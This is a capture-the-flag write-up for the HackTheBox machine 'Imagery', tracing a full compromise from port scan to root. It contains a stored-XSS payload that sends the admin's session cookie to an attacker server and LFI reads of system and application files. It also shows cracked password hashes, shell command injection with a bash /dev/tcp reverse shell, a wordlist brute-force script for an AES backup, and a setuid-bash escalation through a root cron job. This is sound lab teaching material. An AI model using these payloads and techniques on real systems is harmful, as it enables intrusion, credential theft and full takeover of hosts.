Imagery
Linux Medium Box from HackTheBox Season 9 (2/13)

Recon
As always, we start off by performing a TCP
port scan using nmap
nmap --privileged -p- --open -Pn -n --min-rate 5000 -sS -sCV -vvv -oN scan 10.129.193.255
# Nmap 7.95 scan initiated Sun Sep 28 11:14:37 2025 as: /usr/lib/nmap/nmap --privileged -p- --open -Pn -n --min-rate 5000 -sS -sCV -vvv -oN scan 10.129.193.255
Nmap scan report for 10.129.193.255
Host is up, received user-set (0.043s latency).
Scanned at 2025-09-28 11:14:37 WEST for 21s
Not shown: 60067 closed tcp ports (reset), 5466 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKyy0U7qSOOyGqKW/mnTdFIj9zkAcvMCMWnEhOoQFWUYio6eiBlaFBjhhHuM8hEM0tbeqFbnkQ+6SFDQw6VjP+E=
| 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleYkGyL8P6lEEXf1+1feCllblPfSRHnQ9znOKhcnNM
8000/tcp open http syn-ack ttl 63 Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 28 11:14:58 2025 -- 1 IP address (1 host up) scanned in 21.12 seconds
We see that TCP Port 22 | SSH
and TCP Port 800 | HTTP-ALT
are open, this one running on Werkzeug 3.1.3
which is a web application that runs on python
let's check what's inside the website running on TCP Port 8000

We see that we can register as well, after the registration we see a new dashboard where we can upload images

But nothing appears to be injectable for now here
From here, after applying some lateral thinking we notice a weird endpoint at the bottom of the webpage:

Here we see a report form, and if we send it:

As we can see, the Admin is going to review our form that we sent, this gives us a clear hint on what we need to do next.
Stored / Persistent XSS on Report Bug Form
We need to send a malicious XSS payload
that retrieves the admin's cookies
to our local server after he loads the payload
, hence showing us the cookies explicitly.
We're going to use the following payload:
<img src=1 onerror="document.location='http://IP:PORT/a/'+ document.cookie"><\img>
And in our Python HTTP Server
we see the following output
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.193.255 - - [28/Sep/2025 11:38:05] code 404, message File not found
10.129.193.255 - - [28/Sep/2025 11:38:05] "GET /a/session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNkQEQ.0Jwud8-uYfaHRvEM_Cidpdv9bzI HTTP/1.1" 404 -
10.129.193.255 - - [28/Sep/2025 11:38:05] code 404, message File not found
10.129.193.255 - - [28/Sep/2025 11:38:05] "GET /favicon.ico HTTP/1.1" 404 -
Which outputs the session cookie
of the Admin User, so we hijack the cookies using Firefox

But after trying to access the admin panel the website crashes by redirecting us to the
http://10.10.14.102/a/session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNkQEQ.0Jwud8-uYfaHRvEM_Cidpdv9bzI
This happens because we're getting the reflected XSS
to fix this we're going to use burp-suite's intercept
so we control which requests are forwarded or not

And now we're able to see the admin panel properly
LFI in get_system_log
After inspecting a bit, we see that when we try to use the Download Log
function it tries to retrieve a file from the system, hence giving us hint on what we should do, in this case, performing an LFI (Local File Inclusion)
so we send this request to burp's repeater
with Ctrl + R
and try to look for arbitrary files
on the system (e.g ../../../../etc/passwd
)

And voilah, we succeeded at the LFI
After enumerating some more we don't see any SSH Key( id_rsa)
that we can enumerate, so as we know this is running on Werkzeug
and the system has a web
user
Web Backend Enumeration
Let's try to enumerate his current directory with the use of /proc/self/cwd/
which is a symbolic link of the CWD
(current working directory)
of the user running the web, in this case: web
Let's try to look for the app.py
file as it's in most of the web servers running on Werkzeug

This helps us understand how everything is working at a better glance, it's importing stuff content config
which means that a config.py
file is available, same goes for utils.py
Let's try to enumerate the config.py
file and see what it contains

We see that data
is stored at a file called db.json
and after enumerating that file with the same process we get the following output:
--------------- SNIP ------------
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"isAdmin": true,
"displayId": "a1b2c3d4",
"login_attempts": 0,
"isTestuser": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
}
--------------- SNIP ------------
So we got a md5 hash
for the testuser
and the admin
user!! let's crack them with crackstation
2c65c8d7bfbca32a3ed42596192384f6:iambatman
Backend code review
We've got access to the testuser
so login through the web
to it:

And after uploading an image and accessing to the Gallery dashboard
, we see that we've got some options that are not blanked anymore

Remember that we got full access to the web backend
? Let's try to enumerate from these functions from app.py
as we did earlier but with the focus to to audit the code
and potentially find attack vectors

We see that it's importing the os
library which gives us a hint: It's executing system commands
, we also see both api_manage
and api_edit
which could be related to the options we saw earlier in the Gallery dashboard
After carefully inspecting the code, we don't seem to find anything in api_manage.py
In the other hand, api_edit.py
crop function seems vulnerable to command injection
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
constructs a shell command using untrusted input and executes it with shell=True
This allows us to take control of the interpolated values e.g x, y, width, height
to inject shell commands
and execute arbitrary commands
as the web process user.
Foothold: Command Injection
So let's intercept
the crop function on the web with burp
and send it to repeater

As we can see the code is reflecting, showing us web as the user with the command whoami
,
now let's execute a Bash TCP Reverse shell with the following payload
$(bash -c 'bash -i >& /dev/tcp/10.10.x.x/PORT 0>&1')
And set up our listener with netcat
so we receive the reverse shell
❯ nc -lvnp 1920
Listening on 0.0.0.0 1920
Connection received on 10.129.193.255 42310
bash: cannot set terminal process group (1390): Inappropriate ioctl for device
bash: no job control in this shell
web@Imagery:~/web$
AES Decrypt Script Development
After a lot of enumeration we see a AES Encrypted file on the /var/backup directory
web@Imagery:~/web$ ls /var/backup
web_20250806_120723.zip.aes
So let's transfer it to our local host and try to crack
it

The AES encryption method
needs a passphrase
to crack
it, so we're going to develop a python
script that brute-forces
this passpharse
with the use of the rockyou.txt
wordlist and then decrypts the file itself with the pyAesCrypt
module:
import pyAesCrypt
import os
import sys
def decrypt_with_password(encrypted_file, output_file, password, buffer_size=64*1024):
"""Attempt to decrypt a file with given password"""
try:
pyAesCrypt.decryptFile(encrypted_file, output_file, password, buffer_size)
# Check if the output file was actually created and has content
if os.path.exists(output_file) and os.path.getsize(output_file) > 0:
return True
else:
# Clean up empty file if decryption failed but no exception was raised
if os.path.exists(output_file):
os.remove(output_file)
return False
except ValueError as e:
# This exception is raised when the password is incorrect or file is corrupted
if "Wrong password" in str(e) or "Corrupted file" in str(e):
return False
else:
print(f"Unexpected ValueError with password '{password}': {e}")
return False
except Exception as e:
print(f"Unexpected error with password '{password}': {e}")
return False
def main():
# File paths
encrypted_file = "web_20250806_120723.zip.aes"
output_file = "web_20250806_120723.zip"
wordlist_path = "/usr/share/seclists/rockyou.txt"
# Check if files exist
if not os.path.exists(encrypted_file):
print(f"Error: Encrypted file '{encrypted_file}' not found!")
return
if not os.path.exists(wordlist_path):
print(f"Error: Wordlist '{wordlist_path}' not found!")
return
# Buffer size
buffer_size = 64 * 1024
print(f"Attempting to decrypt '{encrypted_file}' using passwords from '{wordlist_path}'")
print("This may take a while...\n")
# Try passwords from the wordlist
passwords_tried = 0
try:
with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
for password in f:
password = password.strip()
# Skip empty lines
if not password:
continue
passwords_tried += 1
# Print progress every 1000 attempts
if passwords_tried % 1000 == 0:
print(f"Tried {passwords_tried} passwords... Current: '{password}'")
# Try to decrypt with current password
if decrypt_with_password(encrypted_file, output_file, password, buffer_size):
print(f"\n[SUCCESS] Password found: '{password}'")
print(f"File decrypted as: '{output_file}'")
print(f"Total passwords tried: {passwords_tried}")
return
except KeyboardInterrupt:
print(f"\n\nProcess interrupted by user after trying {passwords_tried} passwords.")
return
except Exception as e:
print(f"\nError: {e}")
return
print(f"\n[FAILURE] Password not found in the wordlist. Tried {passwords_tried} passwords.")
if __name__ == "__main__":
main()
So first off we activate the python venv
and install the pyAesCrypt
library
❯ python3 -m venv .env && source .env/bin/activate && pip3 install pyAesCrypt
And finally we execute
❯ python3 decrypt.py
Attempting to decrypt 'web_20250806_120723.zip.aes' using passwords from '/usr/share/seclists/rockyou.txt'
This may take a while...
[SUCCESS] Password found: 'bestfriends'
File decrypted as: 'web_20250806_120723.zip'
Total passwords tried: 670
We successfully cracked the AES
file and the passphrase is: bestfriends
so we unzip the file
unzip web_20250806_120723.zip
And we see that it's a web backup
and after enumerating a bit we notice that the db.json
file now also contains the mark
user password hash
{
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",
"displayId": "868facaf",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
},
{
So we crack it with crackstation as we did with testuser
earlier:
01c3d2e5bdaf6134cec0a367cf53e535:supersmash
Privilege Escalation: Abusing Charcol
web@Imagery:/var/backup$ su mark
Password: supersmash
mark@Imagery:/var/backup$
We see that the credential successfully worked so it's time to escalate to the root
user
And after some enumeration we see this
mark@Imagery:/var/backup$ sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
mark@Imagery:/var/backup$
We try execute it
mark@Imagery:/var/backup$ sudo /usr/local/bin/charcol
░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██
Charcol The Backup Suit - Development edition 1.0.0
Charcol is already set up.
To enter the interactive shell, use: charcol shell
To see available commands and flags, use: charcol help
mark@Imagery:/var/backup$
So we try to check the help manual using --help
mark@Imagery:/var/backup$ sudo /usr/local/bin/charcol --help
usage: charcol.py [--quiet] [-R] {shell,help} ...
Charcol: A CLI tool to create encrypted backup zip files.
positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.
options:
--quiet Suppress all informational output, showing only
warnings and errors.
-R, --reset-password-to-default
Reset application password to default (requires system
password verification).
mark@Imagery:/var/backup$
As we see, we can reset the password to it's default using the -R parameter, so let's try to do it
mark@Imagery:/var/backup$ sudo charcol -R
Attempting to reset Charcol application password to default.
[2025-09-28 12:19:44] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
[2025-09-28 12:19:48] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
mark@Imagery:/var/backup$ sudo charcol shell
First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:
Are you sure you want to use 'no password' mode? (yes/no): yes
[2025-09-28 12:19:58] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.
mark@Imagery:/var/backup$ sudo charcol shell
░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██
Charcol The Backup Suit - Development edition 1.0.0
[2025-09-28 12:20:03] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol>
Now we got access to the charcol shell
and after typing help a help manual
appears on the output
Something catches our attention instantly
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
Purpose: Add a new automated cron job managed by Charcol.
You can summon a cron job
that spawns a shell command
, and this is executed as root
Let's try to change the /bin/bash
permissions so we can access a privleged bash
charcol> auto add --schedule "* * * * *" --command "chmod u+s /bin/bash" --name "privesc"
[2025-09-28 12:23:57] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
[2025-09-28 12:24:00] [INFO] System password verified successfully.
[2025-09-28 12:24:00] [INFO] Auto job 'privesc' (ID: 9ff73c4c-233f-4205-b9d0-dc7aabf0d8d8) added successfully. The job will run according to schedule.
[2025-09-28 12:24:00] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true chmod u+s /bin/bash
And if we do
mark@Imagery:/var/backup$ bash -p
bash-5.2# whoami
root
bash-5.2#
We get a shell as the root
user!
Thank you for reading this writeup, I hope it helped a lot and see you next time!
Last updated